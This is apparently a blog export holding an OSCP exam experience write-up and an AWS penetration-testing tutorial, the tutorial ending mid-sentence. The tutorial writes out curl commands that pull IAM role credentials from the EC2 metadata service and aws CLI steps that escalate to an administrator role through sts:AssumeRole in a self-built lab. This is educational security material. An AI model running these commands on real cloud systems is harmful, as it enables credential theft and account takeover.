[{"content":"I wasn\u0026rsquo;t sure what to say at the beginning, but if you\u0026rsquo;ve started searching for OSCP experience write-ups, you probably already know something about OSCP. Here are a few official pages with the requirements, in case you\u0026rsquo;re interested.\nIntroduction to OSCP+: https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP\nIntroduction to the exam changes: https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes\nOSCP report requirements (just take a look; most people use the project below): https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements\nReport project: https://github.com/noraj/OSCP-Exam-Report-Template-Markdown The template I used: OSCP-exam-report-template_OS_v2.md\nExam guide (if you\u0026rsquo;re going to take the exam, you absolutely must read this): https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated\nThose are the official requirements. Keep in mind that the exam guide may be updated, so you must find the latest version; it contains all the requirements. I\u0026rsquo;ll put my certificates here too. I\u0026rsquo;ve blurred my name and the QR codes because I don\u0026rsquo;t want to reveal my name for now, so only my OSID is visible. (I don\u0026rsquo;t know what went wrong with the built-in CDN. The images used http and were forcibly redirected to https. After I fixed that, they stopped using https, but I still couldn\u0026rsquo;t load the images from the source. The strange part is that the images were also inaccessible normally. On PC, just click the blank area where the image should be; I added a hyperlink. They load normally on mobile.)\nThe blog below helped me enormously while I was learning. I\u0026rsquo;m not particularly good with domain environments, and this blog summarizes many domain penetration techniques. You can work through them one by one: see what the first item covers, build an environment, find a dedicated tutorial, and reproduce it. The blog is like a directory that also includes exploitation methods for each vulnerability. It was incredibly helpful to me. Many thanks to 0r@nge. https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/\nLet me talk about my learning journey. Back in 2022, I was doing an internship and wanted to earn a certification. I looked around, but none of the options seemed especially valuable. Then, by chance, I learned about OSCP and made it my goal. Most of the labs I worked through were from VulnHub, though, and my practice was very on-and-off. I kept doing VulnHub labs intermittently from 2022 into 2023, and I also touched a few during the first half of 2024. I didn\u0026rsquo;t truly commit until the National Day holiday in 2024. HW had ended a month earlier. Most of what I had studied and done was security-service work, limited to blue teaming and penetration testing. My red-team experience had never reached the provincial level. I had met many people, most of whom were at the provincial level but not the guo level (after all, someone who genuinely had gh-level skills probably wouldn\u0026rsquo;t come do blue-team work). I was then a senior about to graduate, and I could look for an internship in the first half of 2025. I thought about it for a long time, decided to take the OSCP, and then planned to find a red-team internship in the kind of role that interested me.\nFirst, I\u0026rsquo;ll summarize what I think of VulnHub, Hack The Box, and the OSCP Challenge Labs. Most of the machines came from TJ NULL\u0026rsquo;s recommendations in the spreadsheet below: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513\nVulnHub leans heavily toward CTFs—to me, its machines practically are CTF challenges. Information may be hidden in source code, and instead of looking like a normal webpage, a page might resemble a pure CTF decryption puzzle. Some port-knocking techniques aren\u0026rsquo;t represented at all in HTB or OSCP, yet I remember seeing them often on VulnHub. If you don\u0026rsquo;t want to spend money but still want to practice on labs, I highly recommend it. Although it is very CTF-oriented and has only Linux machines, it can teach you many Linux services and commands as well as conventional penetration-testing techniques. You encounter things like UDP, FTP, NFS, SMB, and plenty more. Its advantages are that it strengthens your fundamentals, exposes you to many Linux services relevant to penetration testing, and is free. Its disadvantages are the excessive CTF focus, the need to download and set up the machines yourself, and the fact that it only has Linux machines. (I even bought a 1 TB portable hard drive solely to download VulnHub machines.)\nHack The Box has very few CTF elements. For example, when an author builds a machine around a particular vulnerability, they obviously need to devise an attack chain and make sure its logic holds together. At some point, that chain may require credentials or similar information, and this is where a CTF-like element may appear: its purpose is to make you obtain a key piece of information before you can move on. Of course, situations like this are extremely rare. HTB is excellent. Most of its machines are designed around a particular vulnerability or exploitation chain, with the goal of teaching you that method. It may look a little like simple reproduction, but the path is made of interlocking layers. Every step follows logically from the last, and the design is wonderfully clever. Sometimes it even involves low-level logic; only after reading a WP and understanding it do you realize just how interesting the design is. The advantage is that the machines are extremely well designed, so approaching them with the goal of learning is very rewarding and gives you a strong grasp of the underlying logic of certain services. The disadvantage is that it costs money. Many people also say it is harder than OSCP, while others say it works well as an OSCP supplement. I agree more with the latter view.\nI never practiced on PG, but I\u0026rsquo;ll still share my impression. Before the exam, I specifically found a WP for a PG domain machine in TJ NULL\u0026rsquo;s list and read through it. Compared with HTB, it was even more ingenious, which fits OSCP\u0026rsquo;s long-standing idea of “try harder.” As I said above, HTB mainly focuses on one vulnerability or one exploitation chain. The PG domain machine I read about was more about layers of underlying logic fitting together, plus a small amount of vulnerability reproduction. Each part made sense, but it demanded broader thinking. That is completely different from HTB: HTB often asks you to dig stubbornly into one point, while PG is more about divergent thinking—if you\u0026rsquo;re sure there is no vulnerability here, hurry up and look somewhere else.\nThe OSCP Challenge Labs feel more like real penetration-testing environments. There isn\u0026rsquo;t one specific vulnerability; instead, each is a collection of machines. Every challenge tells you that a company has hired us to perform a penetration test, and you have to face all of that company\u0026rsquo;s servers. The goal is to simulate a real environment. Overall, though, they are fine and not especially difficult. Skylark is the harder one, and many people choose to skip it, but I worked through the labs in order. There are no WPs for the Challenge Labs; students and teachers on Discord will only give you some hints. Although the earlier labs, such as Medtech and Relia, aren\u0026rsquo;t actually difficult, I was stuck for a long time when transitioning from HTB. As I said above, HTB and PG require completely different ways of thinking, and the Challenge Labs also demand a completely different mindset from HTB. Medtech and Relia were mostly about changing my thinking and not limiting myself. I chose to finish Skylark because it would help me adapt to that mindset—treating it like a real environment. In the end, with help from classmates and teachers, I completed most of the labs.\nThe final two are outside the exam scope. They are mainly labs for people preparing for OSCE³, but you can give them a try.\nThat was my learning journey. Most of the machines I practiced on were Linux, while OSCP focuses more on Windows, so I recommend making Windows your priority. It took exactly one month from registering for OSCP to receiving the certificate—31 days, to be precise. I registered on December 11, spent about 21 days completing seven Challenge Labs (finishing on January 1), booked the exam for noon on January 8, submitted my report at 3 a.m. on January 10, and received the certificate on the afternoon of January 11. During the six days from 1.1 to 1.8, I spent most of my time playing games. Games only feel fun when I have something else I should be doing :). Of course, I wasn\u0026rsquo;t relaxing with games the entire time. I revisited every lab except Skylark and reproduced them all, then specifically looked for WPs of domain labs. Everyone knows the conventional approaches; I wanted to learn some different ways of thinking about domain penetration. (Unfortunately, I didn\u0026rsquo;t get to use them.)\nLet me briefly talk about some of the things I encountered during the exam, because this part really was interesting. I ultimately had only 70 points. There are no bonus points now, so the domain environment foothold plus three standalone machines gave me 70 points in total, and I scraped through the exam. The domain-controller section is no longer the same as OSCP A-C, which is worth noting. If you\u0026rsquo;ve completed OSCP A-C, you should understand what I mean after reading this. Normally, obtaining the domain foothold is very difficult. Once you gain access to the first machine at the domain entry point, however, the second host inside the domain is very easy. You don\u0026rsquo;t even need to escalate privileges on that second host before taking the domain controller. The route is: domain foothold -\u0026gt; low-privileged access to an internal domain host -\u0026gt; domain controller. The difficulty is concentrated in obtaining the domain foothold. The new exam moves that difficulty further down the chain. Getting the domain foothold is extremely, extremely, extremely, extremely, extremely easy—you can think of it as ten free points. They give you a way into the domain, but then the internal domain host becomes extremely difficult. You\u0026rsquo;re also given a low-privileged account, and all you need to do is escalate privileges. I had the sense that once I escalated, reaching the domain controller would not be especially hard. The problem was the privilege escalation, and that deserves a paragraph of its own.\nWhen I worked through OSCP A-C, ordinary direct scanning caused no problems. In a domain environment, though, as soon as I used ligolo-ng to build a tunnel (chisel was even worse) and scan the internal network, I got a pile of errors.\nIt was utterly despairing. The moment I ran an nmap scan, it threw errors. I wrote OffSec many emails, and they worked with me, but we simply couldn\u0026rsquo;t fix it. The nmap results were completely inaccurate and led me to make wrong judgments. I even installed nmap on the domain foothold machine, but it still couldn\u0026rsquo;t find anything. All I could do was search by intuition. I knew the normal ports in a domain environment, but if a service was on a nonstandard port, it was simply game over. On top of that, the tunnel crashed easily, which was the most painful part. I had not noticed any problem with ligolo-ng on Medtech or Relia. Perhaps it was because I changed networks while working through OSCP A-C. There was nothing I could do about that, and I couldn\u0026rsquo;t switch back. The new connection was extremely fast at 60MB/S, but the problem remained. This may be where chisel comes in (frp, ew, and lcx don\u0026rsquo;t work, so don\u0026rsquo;t bother trying). The curious difference is that ligolo-ng sends everything in one burst and then errors out, while chisel sends according to the available rate, staying under the limit. Imagine a water pipe: ligolo-ng throws an entire basin of water at it, and however much enters the pipe is all you get; it doesn\u0026rsquo;t care about the rest. chisel slowly pours the water in as fast as possible without spilling any. With chisel, an nmap scan took 5-6 hours to finish. By then, I had already realized something was wrong. I was using Ethernet at 60MB/s, and the connection was very stable with extremely low latency, but there was still a problem. It was basically black magic. If you run into the same issue, switch networks as quickly as you can.\nBack to the main subject: the domain environment I failed to take down. The network problems above were a major reason. I gambled wrong; I didn\u0026rsquo;t expect the exam VPN to behave almost exactly like the regular environment. After entering through the domain foothold, you\u0026rsquo;re given some information about the next internal domain host, which lets you access it. I encountered the jxxxxs service, and my experience felt very similar to this person\u0026rsquo;s: https://blog.restkhz.com/post/before-oscp-exam If you\u0026rsquo;re interested, take a look at that blog. It was precisely because of this post that I reviewed vulnerabilities involving jxxxxs. I could almost say that I understood the vulnerability-exploitation side and some of the standard approaches. (If you\u0026rsquo;re interested, try the Object box on HTB.) There was no privilege-escalation path on that internal domain host, and only this service was listening locally. I had two ideas. The first was jxxxxs-cli.jar. Unfortunately, anonymous access was disabled, and I knew the version. At first glance, that version appeared vulnerable to arbitrary file read. If I could reach the backend, I would be 100% certain of getting a shell, and that shell would most likely have the privileges I wanted. Although the installed version number looked lower than the vulnerable version, I put both version numbers into Google (one vulnerable version and the version on the target). Only then did I discover that the vendor had published an advisory for the vulnerable release in January 2024, while the version on the target had been released in May 2024. It was not vulnerable! I had spent half a day on it for nothing. That brought me to my second idea: find credentials for any account at all. If I could access the backend, I would undoubtedly be able to get a shell. I tried for a long time but couldn\u0026rsquo;t find a password. The jxxxxs directory couldn\u0026rsquo;t be entered, and there was no other information. I\u0026rsquo;m sure I tried most of the available methods. As I mentioned, the service listened locally. I had to use ligolo-ng to reach this domain member host, then use chisel to forward that host\u0026rsquo;s port to the domain foothold before I could access it. The tunnel was still terribly unstable, just as I described above. It kept crashing—three times in a single hour. The fix was to restart the target, upload ligolo-ng and chisel again, and rebuild the tunnel. It was agonizing. Getting the domain foothold took less than 30 minutes, but I then spent more than nine hours trying to escalate privileges. I\u0026rsquo;m certain I was only one username and password away. I never found them, and the repeated tunnel failures drained every bit of my energy.\nAfterward, I thought it over. I hadn\u0026rsquo;t tried brute-forcing the application\u0026rsquo;s directories (the connection was far too slow to brute-force anything). Some credentials might have been hidden in files. Near the end, I discovered that a Jxxxx_history file was actually accessible, but I had no permission to access other users\u0026rsquo; directories, and the current user\u0026rsquo;s history contained nothing else. Perhaps that was a hint to use dir /S across every directory to find this history file. At that point, the exam had five hours left and I had been working continuously for 19 hours. I had no energy left.\nFortunately, network connections that didn\u0026rsquo;t involve a tunnel were unaffected. I\u0026rsquo;m better at Linux, but my exam set contained two Windows machines and one Linux machine. I got root on the Linux machine in two hours, and obtaining the initial shells on both Windows machines was also very easy. The difficult part was their unconventional privilege escalation, but fortunately, I solved it in the end. This is why, when discussing practice labs, I recommend doing more Windows and less Linux. I had done far too many Linux labs and too few Windows labs, while the exam emphasizes Windows.\nThat was my entire exam experience. I regret not taking the domain controller, but a good outcome is enough. After I finished my driving test, I once saw a line that said: the passing score is 90, and as long as you pass, stop worrying about the score. Once it\u0026rsquo;s over, you can even say you scored 101. You passed and earned the qualification, so don\u0026rsquo;t keep regretting it. I feel the same way. I can\u0026rsquo;t keep dwelling on past mistakes. I\u0026rsquo;ve already earned the right to get on the road; how much I improve from here depends on how well I drive. We always have to look forward.\nOn the night of the exam, with 13 hours remaining, I was already exhausted. I had only 30 points: the domain foothold and initial shells on two standalone Windows machines. I wanted to rest for a while, but I kept tossing and turning and thinking. I couldn\u0026rsquo;t sleep at all. I lay there for about an hour, and it felt endless. I wondered whether the entire journey—from when I first started working hard to staying away from home just before the New Year so I could prepare for this certification—had been worth it. Honestly, I even thought about giving up. I had spent most of the first 11 hours in the domain environment, and the tunnel kept crashing. It consumed all my energy. I even wanted to talk to the proctor and say, “Look, this tunnel simply won\u0026rsquo;t come up. I can\u0026rsquo;t take the next step at all!” I felt a little cursed for drawing a relatively difficult domain set. Snow was falling outside. I didn\u0026rsquo;t go out for food; I just forced down a few bites of bread I had bought earlier. After all that thinking, I realized I simply couldn\u0026rsquo;t sleep. Before continuing the exam, I thought about what I should do. First, I would try a few possibilities in the domain environment for no more than one hour. If they didn\u0026rsquo;t work, I would abandon it. If they did work and I took the domain controller, I would have 60 points in total, and taking the Linux machine would be enough. If I remained stuck in the domain environment, I would go straight after the Linux machine, then keep trying unconventional privilege-escalation approaches on the two Windows machines until the exam ended. Fortunately, my plan was right. I couldn\u0026rsquo;t make any further progress in the domain environment. I enumerated the initial Linux shell and tried both unconventional and conventional privilege escalation, then worked through the unconventional privilege escalation on the two Windows machines. I fully compromised all three standalone hosts. It was already 3 a.m. I was incredibly excited because I had reached the passing threshold, but I was also exhausted. Even so, I spent more than three additional hours reproducing and saving every step. That was the right decision: after I slept, my computer blue-screened and restarted. If I hadn\u0026rsquo;t saved everything and had instead waited until writing the report to retrieve it from Kali, I would have been unable to finish the report. It was wild. The blue-screen issue had existed for a long time and seemed to be related to the graphics driver. Kali had also restarted itself once while I was attempting the domain environment. So here\u0026rsquo;s another reminder: learn how to write the report in advance, and once you reach the passing threshold, remember to take a snapshot of Kali.\nFinally, a few words about the official OSCP course. Once I learned there were no bonus points, I went through the whole thing and read all of the text. I got something out of it, but not much. It mostly covers the fundamentals, so it is worth a look.\nI also want to talk about the value of OSCP. Before the exam, I saw many discussions in the r/oscp community on Reddit. Some people said OSCP deliberately prevents a fixed number of candidates from passing to protect its value, making it extremely difficult, and that some people who passed may simply have been lucky. Others said many employers first check whether someone holds OSCP and give preference to OSCP holders, even though they had also met many highly skilled people without OSCP. They thought that was unfair and considered it a marketing tactic. Some people said they currently had no plan to take the exam but had learned a great deal from the course. Others mentioned needing 2-4 attempts to pass. What I want to say is that OSCP proves a floor for your ability. If you pass the OSCP exam, then however weak you may otherwise be, you still meet the OSCP standard: you can independently complete a penetration test and write a report, and you can allocate limited time sensibly to achieve your goal. It raises your floor. When you perform a penetration test for someone else, they have no idea what you can do. All you can tell them is how many penetration tests you\u0026rsquo;ve performed, how many CVEs you\u0026rsquo;ve found, and how many years you\u0026rsquo;ve worked in the field. But when you say you have OSCP, they already know that, at the very least, you can complete a penetration test. Your ceiling, of course, depends on you. That is why I believe OSCP carries so much weight.\n","date":"2025-01-11T12:20:00+08:00","permalink":"/p/oscp-certification-journey/","title":"How I Earned My OSCP / OSCP+ Certification in Early 2025"},{"content":"Exploiting the EC2 Instance Metadata Service (IMDS) This is closely tied to IAM. I actually mentioned it in the basics section; exploiting it generally requires something like SSRF or a webshell.\nAccessing the following URL from inside EC2 may return temporary credentials. This is essentially a temporary pair of keys that can be used to access every service permitted by the associated permissions.\n1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ The EC2 Instance Metadata Service (IMDS) runs on this IP and provides:\nInstance information (such as instance-id and ami-id) Network information (such as public-ipv4 and security-groups) IAM role credentials (the most important part!) User data (scripts executed when EC2 starts) As in the basics section, once you have these two keys, you can inspect S3, EC2, and a whole range of other resources. This is a high-severity issue, and the service is enabled by default.\nFor example:\nRequest path:\n1 curl http://169.254.169.254/latest/meta-data/ Response:\n1 2 3 4 5 6 7 8 ami-id hostname iam/ instance-id instance-type network/ public-ipv4 security-groups The most dangerous endpoint is:\n1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Response:\n1 AdminRole Then access:\n1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole If it returns:\n1 2 3 4 5 6 { \u0026#34;AccessKeyId\u0026#34;: \u0026#34;ASIA...\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;....\u0026#34;, \u0026#34;Token\u0026#34;: \u0026#34;....\u0026#34;, \u0026#34;Expiration\u0026#34;: \u0026#34;2025-03-04T00:00:00Z\u0026#34; } You have successfully obtained temporary credentials for an AWS IAM role, which can be used with the AWS CLI to perform various operations!\nLet\u0026rsquo;s try it in practice. I\u0026rsquo;ll start an EC2 instance here; the one used earlier is fine, as long as the endpoint is accessible. The takeaway is that if you find SSRF or get a shell through a web service running on an AWS EC2 instance, you may be able to take control of some of its resources.\nPractical AWS Metadata Service Exploitation AWS uses IMDSv1 by default (it can be accessed directly with curl), but AWS allows administrators to enable IMDSv2, which requires you to:\nFirst obtain a temporary token Use that token for subsequent requests Check whether IMDSv2 is enabled\n1 curl -X PUT \u0026#34;http://169.254.169.254/latest/api/token\u0026#34; -H \u0026#34;X-aws-ec2-metadata-token-ttl-seconds: 21600\u0026#34; Normally, using curl directly is enough. As mentioned above, however, if IMDSv2 is enabled, you first need to obtain a token and then use it to request the metadata, as shown below.\nReceiving a token means that IMDSv2 is enabled, and you must use this token to access the metadata.\nOnce you have the token, you simply add it in a request header. Following the steps above, add the token to the request:\n1 curl -H \u0026#34;X-aws-ec2-metadata-token: $TOKEN\u0026#34; http://169.254.169.254/latest/meta-data/ If you are working through SSRF or a non-interactive webshell, this kind of variable may not work, so you can simply copy and paste the value yourself. For this exercise, setting a variable is more convenient.\n1 2 TOKEN=$(curl -X PUT \u0026#34;http://169.254.169.254/latest/api/token\u0026#34; -H \u0026#34;X-aws-ec2-metadata-token-ttl-seconds: 21600\u0026#34;) curl -H \u0026#34;X-aws-ec2-metadata-token: $TOKEN\u0026#34; http://169.254.169.254/latest/meta-data/ It worked, but no IAM role is attached, so an IAM role must be attached before credentials can be retrieved. The AWS basics section covered some of the process for attaching an IAM role to EC2, but did not spend much time on how it works. Suppose we have an EC2 instance that needs to access an S3 bucket. It might be running a web service that needs to move locally stored files into the bucket, write data to the bucket, or back up the website to the bucket every day. Those are all backend details; the point is that this EC2 instance needs to access S3.\nNormally, couldn\u0026rsquo;t we just create a user, obtain its two keys, and use those to access the S3 bucket? To reduce the risk, we could grant that user only S3 permissions. This is convenient, but it has few advantages and many drawbacks. First, if an attacker gets a webshell and finds the keys, they can retain long-term access to S3. Second, if access to other services is needed, manually rotating keys becomes costly and requires people to interact with APIs, among other drawbacks. The only advantage is that SSRF cannot read the keys; the disadvantage is that an arbitrary file-read vulnerability can.\nWith an attached role, you simply attach whatever permissions are needed and can leave the role attached. One advantage is that the keys are valid for only one hour. Once the vulnerability is fixed, an attacker cannot maintain long-term control over S3. You might think that calling S3 and other services from EC2 would still require obtaining a token and then requesting temporary credentials through the API, which sounds troublesome. In practice, the AWS CLI automatically retrieves the credentials and related information when you make an S3 request, so no additional steps are needed. The drawback is that SSRF can read them. Now let\u0026rsquo;s put this into practice.\nAttaching an IAM Role to EC2 Select the role you just created and update the instance. Next, let\u0026rsquo;s look at the buckets.\nNo problems here: there is one bucket for storing logs and another bucket created while learning the basics. Both can be accessed directly.\nThe environment is ready. Next, here are the EC2 metadata service endpoints. We already covered the ordinary commands earlier, so there is no need to repeat that process. The main scenarios here are webshells and SSRF.\nImportant EC2 Metadata Service Endpoints For this exercise, let\u0026rsquo;s generate the token first.\n1 TOKEN=$(curl -X PUT \u0026#34;http://169.254.169.254/latest/api/token\u0026#34; -H \u0026#34;X-aws-ec2-metadata-token-ttl-seconds: 21600\u0026#34;) EC2 metadata lives under http://169.254.169.254/latest/meta-data/ and all key information can be retrieved from there.\nEndpoint Purpose IMDS v1 IMDS v2 /latest/meta-data/ Retrieve the directory of all available metadata curl http://169.254.169.254/latest/meta-data/ curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/ /latest/meta-data/iam/security-credentials/ List IAM role names curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/ /latest/meta-data/iam/security-credentials/{role-name} Retrieve temporary credentials for an IAM role curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} /latest/meta-data/instance-id Retrieve the instance ID curl http://169.254.169.254/latest/meta-data/instance-id curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/instance-id /latest/meta-data/public-ipv4 Retrieve the instance\u0026rsquo;s public IP curl http://169.254.169.254/latest/meta-data/public-ipv4 curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/public-ipv4 /latest/meta-data/local-ipv4 Retrieve the instance\u0026rsquo;s private IP curl http://169.254.169.254/latest/meta-data/local-ipv4 curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/local-ipv4 /latest/meta-data/mac Retrieve the instance\u0026rsquo;s MAC address curl http://169.254.169.254/latest/meta-data/mac curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/mac /latest/meta-data/network/interfaces/macs/{mac}/vpc-id Retrieve the VPC ID curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id Everything works. If you are interested in the other endpoints, you can test them yourself.\nIAM Penetration Testing (Role Switching \u0026amp; Permission Abuse) In AWS cloud penetration testing, many AWS resources (EC2, Lambda) have an IAM role attached by default, but these roles usually have minimal permissions.\nHowever, some IAM roles may be able to Assume (take on) a more privileged role! If an attacker finds one of these roles, they can gain a higher level of access, or even become an AWS administrator.\nIAM penetration testing mainly involves four core techniques:\nsts:AssumeRole role switching → gain higher privileges iam:PassRole permission abuse → bypass access controls iam:GetPolicyVersion policy reading → find permissions that can be abused iam:CreateAccessKey creating a new key → maintain persistent control over an AWS account Role Switching with sts:AssumeRole Theory AssumeRole allows one IAM role to “become” another IAM role This means a low-privileged user may be able to switch to a high-privileged one If an attacker can find a high-privileged role that can be assumed, they can use it to escalate their privileges! 1 aws sts assume-role --role-arn \u0026#34;arn:aws:iam::123456789012:role/AdminRole\u0026#34; --role-session-name attacker-session If it succeeds, AWS returns a new set of temporary credentials:\n1 2 3 4 5 6 7 8 { \u0026#34;Credentials\u0026#34;: { \u0026#34;AccessKeyId\u0026#34;: \u0026#34;ASIA...\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;SECRET...\u0026#34;, \u0026#34;SessionToken\u0026#34;: \u0026#34;TOKEN...\u0026#34;, \u0026#34;Expiration\u0026#34;: \u0026#34;2025-03-04T00:00:00Z\u0026#34; } } In AWS, AssumeRole allows one IAM role to “become” another IAM role.\n🔹 Why is this important?\nAWS does not let ordinary users access the Administrator role directly, but some IAM roles can Assume (switch to) a more privileged role. If your role has sts:AssumeRole permission, you can “become” an administrator! 🔹 How does it work?\nA low-privileged role (your current EC2S3AccessRole) requests AssumeRole, and AWS returns a set of temporary credentials. With these new credentials, you can become a more privileged IAM role and access restricted resources. That is the theoretical framework. To put the idea in order: if you have sts:AssumeRole permission, you can switch to an administrator role. But what if the current user does not have sts:AssumeRole permission? You need to find an IAM role that does, and that role must trust the IAM identity you currently hold before you can switch to it. Next, let’s build the lab.\nMake sure you read this part: it is a little complicated, and I only spotted the problem toward the end of reproducing it. Having sts:AssumeRole permission alone does not let you switch to any user you like. The prerequisite is that the high-privileged role trusts the low-privileged role and the low-privileged role has sts:AssumeRole permission. That permission merely allows you to switch roles, nothing more. It is a bit like Linux: you first need permission to use su, and the other user also needs to let you use su without a password. It is a little awkward, so I reworked the lab setup tutorial below.\nLab Setup Add permissions to the previously created EC2S3AccessRole so it can list roles and inspect trust relationships. This lets EC2S3AccessRole find out which roles trust it. Then give it sts:AssumeRole permission so it has the equivalent of an su capability.\nEC2S3AccessRole needs permission to list roles. Without it, the role will not know who trusts it, will not be able to find the ARN, and will not be able to switch to a role that both trusts it and can be assumed through sts:AssumeRole.\nThe steps are as follows:\nSearch for IAM in the relevant section, then select ListRoles and GetRole. You can also use the JSON editor on the right; entering the configuration below there works just as well.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;VisualEditor0\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;iam:GetRole\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:iam::6502*******:role/*\u0026#34; }, { \u0026#34;Sid\u0026#34;: \u0026#34;VisualEditor1\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;iam:ListRoles\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] } 1 aws iam list-roles Back on EC2, the test works without any problems. The current EC2S3AccessRole can now view IAM roles.\nNext, attach sts:AssumeRole permission to EC2S3AccessRole\nFollow the same steps as before and continue with an inline policy.\nLet me explain the Resource section (outlined in red) in a little more detail. It is fairly interesting if you want to take a look (the same option appeared above as well).\nIf you select all resources, you can attempt to switch to any role in AWS, including roles in any AWS account. The prerequisite is still that the other role trusts you. As long as its trust policy contains the ARN for this account, you can switch to it across accounts. This is commonly used by enterprises with multiple AWS accounts. If you choose specific resources, you can click the option to add an ARN and make your selection.\nAs mentioned above, selecting all resources imposes no restriction. This option adds one by limiting access to a single AWS account. In other words, you can only switch to roles in the AWS account you specify that trust you. Even if a role in another account trusts you, you still cannot switch to it unless you remove this restriction. You could think of it as a kind of two-way authentication.\nJust add it directly and select all paths for the current ARN resource.\nThe two policies are now ready. We still need to create a role. To make the privilege escalation obvious, give the new role permissions such as AdministratorAccess and configure it to trust EC2S3AccessRole.\nAt this point, we can create the role. One detail is worth mentioning: when we selected the trusted entity at the beginning, we chose the current account. As a result, the new PrivilegeTest role trusts every role in our account. Our original goal, however, was to trust only EC2S3AccessRole. To do that, use the policy below, insert its ARN, and edit the trust policy to replace the original one.\n1 2 3 4 5 6 7 8 9 10 11 12 { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::650251******:role/EC2S3AccessRole\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } The lab environment is now fully set up.\nReproduction and Verification Next, we will reproduce one attack chain. There are many ways to do this overall, so we will walk through one of them to demonstrate the principle.\n1 2 3 4 5 aws iam list-roles aws iam list-roles --query \u0026#34;Roles[*].Arn\u0026#34; # The text after --query is the query syntax; compare these two outputs to understand it aws iam list-roles --query \u0026#34;Roles[*].RoleName\u0026#34; We found a whole list of roles. You may have plenty of questions at this point, but keep reading and I will explain them later. For now, the goal is simply to become familiar with this workflow.\nWe already know that PrivilegeTest is the role that trusts our current role (EC2S3AccessRole), so let’s print its ARN.\n1 2 3 4 aws iam list-roles --query \u0026#34;Roles[?RoleName==\u0026#39;PrivilegeTest\u0026#39;].Arn\u0026#34; aws iam list-roles --query \u0026#34;Roles[?RoleName==\u0026#39;PrivilegeTest\u0026#39;].Arn\u0026#34; --output text # This rule is also worth studying We now have the ARN. Although we already know that this role trusts us, we should still verify it.\n1 aws iam get-role --role-name PrivilegeTest --query \u0026#34;Role.AssumeRolePolicyDocument\u0026#34; No problem—it does indeed trust us. We can now try to obtain the two keys for this high-privileged role.\n1 aws sts assume-role --role-arn \u0026#34;arn:aws:iam::6502********:role/PrivilegeTest\u0026#34; --role-session-name test-session That works. We can write these credentials directly with the AWS CLI. There are many other ways to do this, but we cannot use the method from the beginning because it cannot store the token, which leaves the credentials unusable. The method below is probably the quickest and most convenient.\n1 2 3 4 aws configure set aws_access_key_id \u0026#34;ASIAxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set aws_secret_access_key \u0026#34;xxxxxxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set aws_session_token \u0026#34;xxxxxxxxxxxxxxxxxxx\u0026#34; --profile privileged-session aws configure set region \u0026#34;us-east-2\u0026#34; --profile privileged-session Once the values have been entered, simply verify the current identity. I will not run any other commands.\n1 aws sts get-caller-identity --profile privileged-session No problem—the switch succeeded. From here, you could inspect the current permissions and then do whatever else you need to do.\nAdditional Notes This is also the most troublesome part. Now that the workflow is clear, let me go over it once more. When we first obtain credentials for a role, whether through IMDS or some other method, the first thing to try if its permissions are too limited is privilege escalation.\nFirst, use the current role and xxxx to query the names and ARNs of all roles with xxxx. Then use xxxx to find which roles trust you, and finally use xxxx to switch to an xxxx role that trusts you.\nI highlighted the key steps above. The first issue is listing all roles. As we saw while setting up the lab, we gave the current role permission to do this. But what if it does not have that permission? There are actually many other methods, but they rely on other permissions (one way or another, you need permissions). This method is relatively simple, which is why we granted it permission to list all roles. Second, once it can list everything, we still need to see which roles trust us. That is why we also granted permission to retrieve policies, allowing us to inspect the trust policies of other roles. Third, we gave it sts:AssumeRole permission so it could actually switch roles.\nThe most important step is listing all roles. You need to determine not only whether a role is highly privileged, but also whether it trusts the current role. Every piece of information you can think of has a corresponding permission that must be enabled before you can view it.\nTo inspect attached permission policies, you need iam 